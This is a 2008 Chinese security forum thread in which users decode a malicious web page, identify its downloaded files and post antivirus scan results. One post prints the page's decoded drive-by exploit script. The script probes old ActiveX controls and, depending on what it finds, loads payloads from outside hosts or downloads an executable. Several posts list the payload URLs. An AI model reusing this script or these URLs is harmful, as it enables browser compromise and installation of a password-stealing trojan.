帮忙解一下

Redevil

http://wb.shijiediyi.net/wm/new.htm

Redevil

这网址也够创意
世界第一

zzh161

if(document.cookie.indexOf('OK')==-1){
try{
  var e;
  var ado=(document.createElement("object"));
  ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
  var as=ado.createobject("Adodb.Stream","")
}catch(e){
  
};
finally{
  var expires=new Date();
  expires.setTime(expires.getTime()+24*60*60*1000);
  document.cookie='Tyi=Buf1;path=/;expires='+expires.toGMTString();
  if(e!="[object Error]"){
   document.write('<script src=http://web.shijiediyi.net/wm/014s.js><\/script>')
  }else {
   try{
    var f;
    var storm=new ActiveXObject("IERPCtl.IERPCtl.1")
   }catch(f){
   
   };
   finally{
    if(f!="[object Error]"){
     document.write('<script src=http://web.shijiediyi.net/wm/rll.js><\/script>')
    }
   }try{
    var h;
    var yahoo=new ActiveXObject("GLCHAT.GLChatCtrl.1")
   }catch(h){
   
   };
   finally{
    if(h!="[object Error]"){
     document.write("<iframe width=0 height=0 src=http://web.shijiediyi.net/wm/og.htm></iframe>")
    }
   }try{
    var k;
    var Fuck=new ActiveXObject("BaiduBar.Tool")
   }catch(k){
   
   };
   finally{
    if(k!="[object Error]"){
     Fuck["DloadDS"]("http://xia.qisihuisheng.net/mm/new.cab","new.exe",0)
    }
   }if(f=="[object Error]"&&h=="[object Error]"&&k=="[object Error]"){
    location.replace("about:blank")
   }
  }
}
}

有兴趣继续

[ 本帖最后由 zzh161 于 2008-3-26 23:23 编辑 ]

aerbeisi

[Found possible security risk]         <W32/Heuristic-114!Eldorado (damaged, not disinfectable)>        C:\test\new.cab->new.exe->(NSPack)->(PE_Patch)

tanlimo

http://xia.qisihuisheng.net/mm/014s.exe
http://xia.qisihuisheng.net/mm/rll.exe
http://xia.qisihuisheng.net/mm/ogame.exe
http://xia.qisihuisheng.net/mm/new.cab

aerbeisi

[Found possible security risk]         <W32/Heuristic-114!Eldorado (damaged, not disinfectable)>        C:\test\014s.exe->(NSPack)->(PE_Patch)
[Quarantined]        C:\test\014s.exe->(NSPack)->(PE_Patch)
[Found possible security risk]         <W32/Heuristic-114!Eldorado (damaged, not disinfectable)>        C:\test\ogame.exe->(NSPack)->(PE_Patch)
[Quarantined]        C:\test\ogame.exe->(NSPack)->(PE_Patch)
[Found possible security risk]         <W32/Heuristic-114!Eldorado (damaged, not disinfectable)>        C:\test\rll.exe->(NSPack)->(PE_Patch)
[Quarantined]        C:\test\rll.exe->(NSPack)->(PE_Patch)

Redevil

原帖由 tanlimo 于 2008-3-26 23:34 发表
http://xia.qisihuisheng.net/mm/014s.exe
http://xia.qisihuisheng.net/mm/rll.exe
http://xia.qisihuisheng.net/mm/ogame.exe
http://xia.qisihuisheng.net/mm/new.cab

起死回生

冷冷

77B6D8FA25EF0BE3ACED5C31BCEC35FE  rll.exe
77B6D8FA25EF0BE3ACED5C31BCEC35FE  ogame.exe
77B6D8FA25EF0BE3ACED5C31BCEC35FE  014s.exe
77B6D8FA25EF0BE3ACED5C31BCEC35FE  new.exe

秋叶濛濛

http://xia.qisihuisheng.net/mm/014s.exe
http://xia.qisihuisheng.net/mm/rll.exe
http://xia.qisihuisheng.net/mm/ogame.exe
http://xia.qisihuisheng.net/mm/new.cab


Begin scan in 'C:\Documents and Settings\Administrator\桌面\桌面.rar'
C:\Documents and Settings\Administrator\桌面\桌面.rar
  [0] Archive type: RAR
  --> 014s.exe
      [DETECTION] Is the Trojan horse TR/PSW.Online.rxpi
  --> rll.exe
      [DETECTION] Is the Trojan horse TR/PSW.Online.rxpi
  --> ogame.exe
      [DETECTION] Is the Trojan horse TR/PSW.Online.rxpi
    --> new.cab
      [1] Archive type: CAB (Microsoft)
      --> new.exe
          [DETECTION] Is the Trojan horse TR/PSW.Online.rxpi
      [INFO]      The file was deleted!

sam.to

已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.rxpi        檔案: C:\Documents and Settings\kato9096\桌面\桌面.rar/014s.exe//NSPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.rxpi        檔案: C:\Documents and Settings\kato9096\桌面\桌面.rar/rll.exe//NSPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.rxpi        檔案: C:\Documents and Settings\kato9096\桌面\桌面.rar/ogame.exe//NSPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.rxpi        檔案: C:\Documents and Settings\kato9096\桌面\桌面.rar/new.cab/new.exe//NSPack